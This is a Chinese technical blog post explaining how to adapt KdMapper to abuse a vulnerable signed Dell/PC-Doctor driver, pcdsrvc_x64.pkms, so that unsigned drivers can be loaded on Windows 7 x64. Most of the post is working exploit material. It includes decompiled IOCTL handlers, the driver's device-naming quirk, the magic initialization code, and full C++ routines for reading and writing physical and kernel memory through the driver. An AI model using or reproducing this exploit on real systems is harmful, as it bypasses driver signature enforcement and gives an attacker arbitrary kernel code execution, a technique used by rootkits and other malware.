KdMapper扩展实现之Dell(pcdsrvc_x64.pkms)

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

2.驱动信息

驱动名称 pcdsrvc_x64.pkms 
时间戳 5B0478B6
MD5 C5632596C83FFB4C704AFA2A7504A335
文件版本 6.2.3.0
设备名称 和驱动服务同名
初始化驱动 0x222004
获取物理地址 0x222080
读物理内存 0x222084
写物理内存 0x222088
Windows 7 支持
Windows 10 不支持
Windows 11 不支持

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
        DestinationString.Buffer = (PWSTR)ExAllocatePool(PagedPool, RegistryPath->Length + 2i64);
        if (!DestinationString.Buffer)
                return 0xC000009A;
        DestinationString.MaximumLength = RegistryPath->Length + 2;
        RtlCopyUnicodeString(&DestinationString, RegistryPath);
        DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_13190;
        DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_131C4;
        DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
        DriverObject->DriverUnload = (PDRIVER_UNLOAD)DriverUnload;
        return CreateDevice(DriverObject);
}

  可以看到 DestinationString是根据 RegistryPath 来设置,也就是根据驱动安装的服务名称来确定。后面会看到驱动创建的设备名称就是根据 DestinationString 来设置的。

3.2 创建设备和符号链接

NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject)
{
        NTSTATUS result; // eax
        int v3; // edi
        unsigned int v4; // eax
        __int64 v5; // rcx
        int v6; // esi
        _UNICODE_STRING* v7; // rdi
        WCHAR* v8; // rax
        struct _UNICODE_STRING Destination; // [rsp+58h] [rbp-70h] BYREF
        UNICODE_STRING v10; // [rsp+68h] [rbp-60h] BYREF
        struct _UNICODE_STRING DestinationString; // [rsp+78h] [rbp-50h] BYREF
        UNICODE_STRING Source; // [rsp+88h] [rbp-40h] BYREF
        UNICODE_STRING DefaultSDDLString; // [rsp+98h] [rbp-30h] BYREF
        PDEVICE_OBJECT DeviceObject; // [rsp+D8h] [rbp+10h] BYREF
        _UNICODE_STRING* v15; // [rsp+E0h] [rbp+18h]

        RtlInitUnicodeString(&DestinationString, L"\\DosDevices\\PCDSRVC");
        RtlInitUnicodeString(&Source, L"\\DosDevices\\");
        Destination.Buffer = (PWSTR)ExAllocatePool(PagedPool, 538ui64);
        if (!Destination.Buffer)
                return 0xC000009A;
        Destination.Length = 0;
        Destination.MaximumLength = 538;
        RtlAppendUnicodeStringToString(&Destination, &Source);
        v3 = -1;
        v4 = ::DestinationString.Length >> 1;
        v5 = v4;
        while (::DestinationString.Buffer[v5] != 92)
        {
                --v4;
                if (--v5 < 0)
                        goto LABEL_8;
        }
        v3 = v4;
LABEL_8:
        if (v3 == -1)
                return 0xC0000001;
        RtlInitUnicodeString(&DefaultSDDLString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)");
        v10.Buffer = &::DestinationString.Buffer[v3 + 1];
        v10.Length = ::DestinationString.Length - 2 * (v3 + 1);
        v10.MaximumLength = v10.Length - 1;
        RtlAppendUnicodeStringToString(&Destination, &v10);
        result = WdmlibIoCreateDeviceSecure(
                DriverObject,
                0x28u,
                &Destination,
                0x22u,
                0x100u,
                0,
                &DefaultSDDLString,
                0i64,
                &DeviceObject);
        v6 = result;
        if (result >= 0)
        {
                RtlFreeUnicodeString(&Destination);
                v15 = (_UNICODE_STRING*)DeviceObject->DeviceExtension;
                v7 = v15;
                *(_QWORD*)&v15->Length = DeviceObject;
                v7->Buffer = (PWSTR)DriverObject;
                v8 = (WCHAR*)ExAllocatePool(PagedPool, DestinationString.MaximumLength);
                v7[1].Buffer = v8;
                if (v8)
                {
                        v7[1].MaximumLength = DestinationString.MaximumLength;
                        RtlCopyUnicodeString(v7 + 1, &DestinationString);
                }
                else
                {
                        v6 = 0xC000009A;
                }
                if (v6 < 0)
                {
                        if (v7[1].Buffer)
                                RtlFreeUnicodeString(v7 + 1);
                        IoDeleteDevice(DeviceObject);
                }
                result = v6;
        }
        return result;
}

  从第 18 行到第 43 行,加上 3.1节内容可以看出创建设备的名称是根据驱动服务名称来设置,同驱动服务名同名,因此相应的实现逻辑也要做修改。见《4.1 设备名称相关》。

3.3 DeviceIoControl

__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
        _IO_STACK_LOCATION* pIosp; // r9
        unsigned int nBytesReturn; // edx
        ULONG nIoControlCode; // ecx
        unsigned int ntStatus; // ebx
        DWORD* dwInitailizeCode; // rax

        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        nBytesReturn = 0;
        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        if (nIoControlCode != 0x222004 && !bInitialized)
        {
                ntStatus = 0xC0000022;
                pIrp->IoStatus.Information = 0i64;
        LABEL_18:
                LOBYTE(nBytesReturn) = 0;
                goto LABEL_36;
        }
        if (nIoControlCode - 0x222000 <= 0x7C)
        {
                ntStatus = 0;
                if (nIoControlCode == 0x222000)
                {
                        if (pIosp->Parameters.DeviceIoControl.OutputBufferLength >= 4)
                        {
                                *(_DWORD*)pIrp->AssociatedIrp.SystemBuffer = 0x6020300;
                        LABEL_16:
                                nBytesReturn = 4;
                                goto LABEL_17;
                        }
                }
                else
                {
                        if (nIoControlCode != 0x222004)
                        {
                                ntStatus = 0xC0000010;
                        LABEL_17:
                                pIrp->IoStatus.Information = nBytesReturn;
                                goto LABEL_18;
                        }
                        if (pIosp->Parameters.DeviceIoControl.InputBufferLength >= 4
                                && pIosp->Parameters.DeviceIoControl.OutputBufferLength >= 4)// 初始化驱动
                        {
                                dwInitailizeCode = (DWORD*)pIrp->AssociatedIrp.SystemBuffer;
                                if (*dwInitailizeCode == 0xA1B2C3D4)
                                {
                                        bInitialized = 1;
                                        *dwInitailizeCode = 0;
                                }
                                else
                                {
                                        *dwInitailizeCode = 1;
                                }
                                goto LABEL_16;
                        }
                }
                ntStatus = 0xC000000D;
                goto LABEL_17;
        }
        if (nIoControlCode - 0x222080 <= 0x7C)
                return MemoryOperation(pIrp);
        if (nIoControlCode - 0x222100 <= 0x7C)
                return sub_112C8(pIrp);
        if (nIoControlCode - 0x222180 <= 0x7C)
                return sub_13A44(pIrp);
        if (nIoControlCode - 0x222300 <= 0x7C)
                return sub_13B94(pIrp);
        if (nIoControlCode - 0x222380 <= 0x7C)
                return sub_11008(pIrp);
        if (nIoControlCode - 0x222680 <= 0x7C)
                return sub_11878(pIrp);
        if (nIoControlCode - 0x222700 <= 0x7C)
                return sub_121C4(pIrp);
        if (nIoControlCode - 0x222600 <= 0x7C)
                return sub_13D5C(pIrp);
        ntStatus = 0xC0000010;
        pIrp->IoStatus.Information = 0i64;
LABEL_36:
        pIrp->IoStatus.Status = ntStatus;
        IofCompleteRequest(pIrp, nBytesReturn);
        return ntStatus;
}

  从 42 行到 55 行是关于驱动初始化的逻辑,由第 12 行可以看出,未初始化的设备请求是不被处理的,详见《4.2 初始化驱动》。

  关于内存的操作是在 MemoryOperation 函数中。

3.4 MemoryOperation 

__int64 __fastcall MemoryOperation(PIRP pIrp)
{
        _IO_STACK_LOCATION* pIosp; // rax
        ULONG_PTR nBytesReturn; // rdi
        unsigned int nInputBufferLength; // ecx
        ULONG nOutputBufferLength; // er8
        int nControlCode; // edx
        int nControlCodeV7; // edx
        unsigned int ntStatus; // ebx
        PC_DOCTOR_PHYSICAL_MEMORY_INFO* pInfo; // rbp
        SIZE_T nMapSize; // rdx
        PVOID pAddressMapped; // r12
        unsigned int ntStatusV12; // eax
        PHYSICAL_ADDRESS nBytesMapped; // [rsp+50h] [rbp+8h] BYREF

        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        nBytesReturn = 0i64;
        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
        nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
        nControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode - 0x222080;
        nBytesMapped.QuadPart = 0i64;
        if (!nControlCode)                          // 0x222080 获取物理内存 只能获取用户态虚拟地址对应的物理地址
        {
                if (nInputBufferLength != 8 || nOutputBufferLength != 8)
                        goto LABEL_18;
                ntStatusV12 = GetPhysicalMemory(pIrp, &nBytesMapped);
                goto LABEL_17;
        }
        nControlCodeV7 = nControlCode - 4;
        if (!nControlCodeV7)                        // 0x222084 读取物理内存
        {
                if (nInputBufferLength < 0xD)
                        goto LABEL_18;
                ntStatusV12 = ReadPhysicalMemory(pIrp, &nBytesMapped);
        LABEL_17:
                nBytesReturn = nBytesMapped.QuadPart;
                ntStatus = ntStatusV12;
                goto LABEL_19;
        }
        if (nControlCodeV7 != 4)
        {
                ntStatus = 0xC0000010;
                goto LABEL_19;
        }
        if (nInputBufferLength < 0xD)               // 0x222088 写入物理内存
        {
        LABEL_18:
                ntStatus = 0xC000000D;
                goto LABEL_19;
        }
        pInfo = (PC_DOCTOR_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;
        ntStatus = 0;
        nMapSize = pInfo->Length;
        nBytesMapped = pInfo->PhysicalAddress;
        pAddressMapped = MapIoSpace(nBytesMapped, nMapSize);
        if (pAddressMapped)
        {
                if (CopyMemory(pAddressMapped, &pInfo[1], pInfo->Length, &nBytesMapped, pInfo->CopyAlign))
                        nBytesReturn = pInfo->Length;
                else
                        ntStatus = 0xC000000D;
                MmUnmapIoSpace(pAddressMapped, pInfo->Length);
        }
        else
        {
                ntStatus = 0xC0000001;
        }
LABEL_19:
        pIrp->IoStatus.Status = ntStatus;
        pIrp->IoStatus.Information = nBytesReturn;
        IofCompleteRequest(pIrp, 0);
        return ntStatus;
}

  第 26 行为获取物理内存,请求码为 0x222080,实现函数为 GetPhysicalMemory。

  第 30 行到 38 行为读取物理内存,请求码为 0x222084,实现函数为 ReadPhysicalMemory。

  第 45 行到 67 行为写入物理内存,请求码为 0x222088。

3.5 GetPhysicalMemory

__int64 __fastcall GetPhysicalMemory(PIRP pIrp, _QWORD* nBytesMapped)
{
        void* pAddressToMap; // rdi
        _MDL* pMdl; // rax
        _MDL* pMdl2; // rbx

        pAddressToMap = *(void**)pIrp->AssociatedIrp.SystemBuffer;
        pMdl = IoAllocateMdl(pAddressToMap, 1u, 0, 0, 0i64);
        pMdl2 = pMdl;
        if (!pMdl)
                return 0xC0000001i64;
        MmProbeAndLockPages(pMdl, 1, IoReadAccess);
        *(_QWORD*)pIrp->AssociatedIrp.SystemBuffer = (unsigned __int16)pAddressToMap & 0xFFF | ((__int64)pMdl2[1].Next << 12);
        MmUnlockPages(pMdl2);
        IoFreeMdl(pMdl2);
        *nBytesMapped = 8i64;
        return 0i64;
}

  虽然这里通过映射内存的MDL来获取物理地址,但由于 MmProbeAndLockPages 第 2 个参数用的是 UserMode 也即 1 来锁定,但 KdMapper 中大多使用的是内核地址,导致使用时会失败,也即无法利用这个函数来获取物理地址。

3.6 读物理内存

__int64 __fastcall ReadPhysicalMemory(PIRP pIrp, _QWORD* nBytesMapped)
{
        PC_DOCTOR_PHYSICAL_MEMORY_INFO* pInfo; // r8
        unsigned int ntStatus; // ebx
        PVOID pAddressMapped; // rbp
        unsigned int nSize; // [rsp+38h] [rbp-20h]
        char nCopyAlign; // [rsp+3Ch] [rbp-1Ch]
        PHYSICAL_ADDRESS pPhsicalAdressVar; // [rsp+60h] [rbp+8h] BYREF

        pInfo = (PC_DOCTOR_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;
        ntStatus = 0;
        nSize = pInfo->Length;
        nCopyAlign = pInfo->CopyAlign;
        pPhsicalAdressVar = pInfo->PhysicalAddress;
        pAddressMapped = MapIoSpace(pPhsicalAdressVar, nSize);
        if (!pAddressMapped)
                return 0xC0000001i64;
        if (CopyMemory(pIrp->AssociatedIrp.SystemBuffer, pAddressMapped, nSize, &pPhsicalAdressVar, nCopyAlign))
        {
                *nBytesMapped = nSize;
        }
        else
        {
                *nBytesMapped = 0i64;
                ntStatus = 0xC000000D;
        }
        MmUnmapIoSpace(pAddressMapped, nSize);
        return ntStatus;
}

3.7  CopyMemory

char __fastcall CopyMemory(void* Destination, const void* Source, unsigned int nSize, _QWORD* pPhsicalAdressVar, char nCopyAlign)
{
        unsigned __int16 v5; // r10
        unsigned int v7; // eax
        __int64 v8; // rdx

        v5 = 0;
        if (!nCopyAlign)
        {
                memmove(Destination, Source, nSize);
                return 1;
        }
        if (nCopyAlign == 4 && !(*pPhsicalAdressVar % 4i64))
        {
                v7 = nSize / 4;
                if (!(nSize % 4))
                {
                        if (v7)
                        {
                                do
                                {
                                        v8 = v5++;
                                        *((_DWORD*)Destination + v8) = *((_DWORD*)Source + v8);
                                } while (v5 < v7);
                        }
                        return 1;
                }
        }
        return 0;
}

  在使用时只需要将第 5 个参数传 0 即实现 memmove。  

3.8 PC_DOCTOR_PHYSICAL_MEMORY_INFO结构

00000000 PC_DOCTOR_PHYSICAL_MEMORY_INFO struc ; (sizeof=0xD, copyof_384)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 Length          dd ?
0000000C CopyAlign       db ?
0000000D PC_DOCTOR_PHYSICAL_MEMORY_INFO ends

3.9 使用注意事项

  实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。

4.相关逻辑说明

4.1 设备名称相关

4.1.1 原逻辑代码

HANDLE dell_driver::Load()
{
        ......
        memset(dell_driver::driver_name, 0, sizeof(dell_driver::driver_name));
        static const char alphanum[] =
                "abcdefghijklmnopqrstuvwxyz"
                "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
        int len = rand() % 20 + 10;
        for (int i = 0; i < len; ++i)
                dell_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
        ......
        HANDLE result = CreateFileW(L"\\\\.\\PCDSRVC", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (!result || result == INVALID_HANDLE_VALUE)
        {
                dell_driver::Unload(result);
                return INVALID_HANDLE_VALUE;
        }
        ......
}

4.1.2 修改后逻辑代码

  参考《3.2 创建设备和符号链接》逻辑进行相关修改,代码如下:

HANDLE dell_driver::Load()
{
        ......
        std::wstring strDeviceName;
        strDeviceName.append(L"\\\\.\\");
        strDeviceName.append(GetDriverNameW());
        HANDLE result = CreateFileW(strDeviceName.c_str(), GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

        if (!result || result == INVALID_HANDLE_VALUE)
        {
                Log(L"[-] Failed to load driver iqvw64e.sys" << std::endl);
                dell_driver::Unload(result);
                return INVALID_HANDLE_VALUE;
        }
        ......
}

4.2 初始化驱动

  参考《3.3 DeviceIoControl》的说明,要发送控制码为 0x222004,数据为 0xA1B2C3D4的请求,实现代码如下:

#define PCDSRVC_X64_DEVICE_TYPE          (DWORD)0x22
#define PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID   (DWORD)0x801
#define IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER      \
    CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222004
#define INITIALIZE_CODE	(0xA1B2C3D4)

bool dell_driver::InitializeDriver(HANDLE device_handle)
{
        DWORD dwInitializeCode = INITIALIZE_CODE;
        return SuperCallDriver(device_handle, IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER, &dwInitializeCode, sizeof(DWORD), &dwInitializeCode, sizeof(dwInitializeCode));
}

HANDLE dell_driver::Load() 
{
        ......
        ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");
        if (ntoskrnlAddr == 0) {
                Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);
                dell_driver::Unload(result);
                return INVALID_HANDLE_VALUE;
        }

        if (!dell_driver::InitializeDriver(result))
        {
                Log(L"[-] Failed to Initialize Driver" << std::endl);
                dell_driver::Unload(result);
                return INVALID_HANDLE_VALUE;
        }
        ......
}

5. 代码实现

5.1 .h文件

#pragma pack(push, 1)
	typedef struct _PCDSRVC_PHISICAL_MEMORY_INFO
	{
		PHYSICAL_ADDRESS PhysicalAddress;
		DWORD Length;
		BYTE CopyAlign;
	}PCDSRVC_PHISICAL_MEMORY_INFO, *PPCDSRVC_PHISICAL_MEMORY_INFO;
#pragma pack(pop)

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif

#define PCDSRVC_X64_DEVICE_TYPE          (DWORD)0x22
#define PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID   (DWORD)0x801
#define PCDSRVC_X64_GET_PHYSICAL_ADDRESS_FUNCID   (DWORD)0x820
#define PCDSRVC_X64_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x821
#define PCDSRVC_X64_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x822

#define IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER      \
    CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222004
#define IOCTL_PCDSRVC_X64_GET_PHYSICAL_ADDRESS     \
    CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_GET_PHYSICAL_ADDRESS_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222080
#define IOCTL_PCDSRVC_X64_READ_PHYSICAL_MEMORY   \
    CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222084
#define IOCTL_PCDSRVC_X64_WRITE_PHYSICAL_MEMORY   \
    CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222088

#define INITIALIZE_CODE	(0xA1B2C3D4)

5.2 .c文件

NTSTATUS dell_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}

BOOL dell_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}


BOOL WINAPI dell_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;
        PCDSRVC_PHISICAL_MEMORY_INFO info = { 0 };
        PBYTE pWriteData = NULL;
        SIZE_T nBufferSize = sizeof(PCDSRVC_PHISICAL_MEMORY_INFO) + NumberOfBytes;
        __try {

                if (DoWrite) {

                        pWriteData = (PBYTE)malloc(nBufferSize);
                        if (pWriteData)
                        {
                                RtlZeroMemory(pWriteData, nBufferSize);
                                info.PhysicalAddress.QuadPart = PhysicalAddress;
                                info.Length = NumberOfBytes;
                                info.CopyAlign = 0;
                                RtlCopyMemory(pWriteData, &info, sizeof(PCDSRVC_PHISICAL_MEMORY_INFO));
                                RtlCopyMemory(pWriteData + sizeof(PCDSRVC_PHISICAL_MEMORY_INFO), Buffer, NumberOfBytes);
                                bResult = SuperCallDriver(
                                        DeviceHandle,
                                        IOCTL_PCDSRVC_X64_WRITE_PHYSICAL_MEMORY,
                                        pWriteData,
                                        (ULONG)nBufferSize,
                                        NULL,
                                        0);
                                if (!bResult)
                                {
                                        Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n");
                                }
                        }
                        else
                        {
                                Log(L"SuperReadWritePhysicalMemory Write malloc failed\r\n");
                        }


                }
                else
                {

                        info.PhysicalAddress.QuadPart = PhysicalAddress;
                        info.Length = NumberOfBytes;
                        info.CopyAlign = 0;
                        bResult = SuperCallDriver(DeviceHandle, IOCTL_PCDSRVC_X64_READ_PHYSICAL_MEMORY, &info, sizeof(info), Buffer, NumberOfBytes);
                        if (!bResult)
                        {
                                Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n");
                        }

                }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
                bResult = FALSE;
                dwError = GetExceptionCode();
                Log(L"[!] Error SuperReadWritePhysicalMemory Exception!" << std::endl);
        }

        if (pWriteData)
        {
                free(pWriteData);
        }

        SetLastError(dwError);
        return bResult;
}
BOOL WINAPI dell_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI dell_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI dell_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }

        return bResult;
}

BOOL WINAPI dell_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);

        }

        return bResult;
}

bool dell_driver::InitializeDriver(HANDLE device_handle)
{
        DWORD dwInitializeCode = INITIALIZE_CODE;
        return SuperCallDriver(device_handle, IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER, &dwInitializeCode, sizeof(DWORD), &dwInitializeCode, sizeof(dwInitializeCode));
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

  同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。

6. 运行效果

  Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。

KdMapper扩展实现之Dell(pcdsrvc_x64.pkms)_第1张图片

7.特别提示

  使用 PCDSRVC_X64.sys 制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。

你可能感兴趣的:(Windows内核,windows,c++,驱动开发)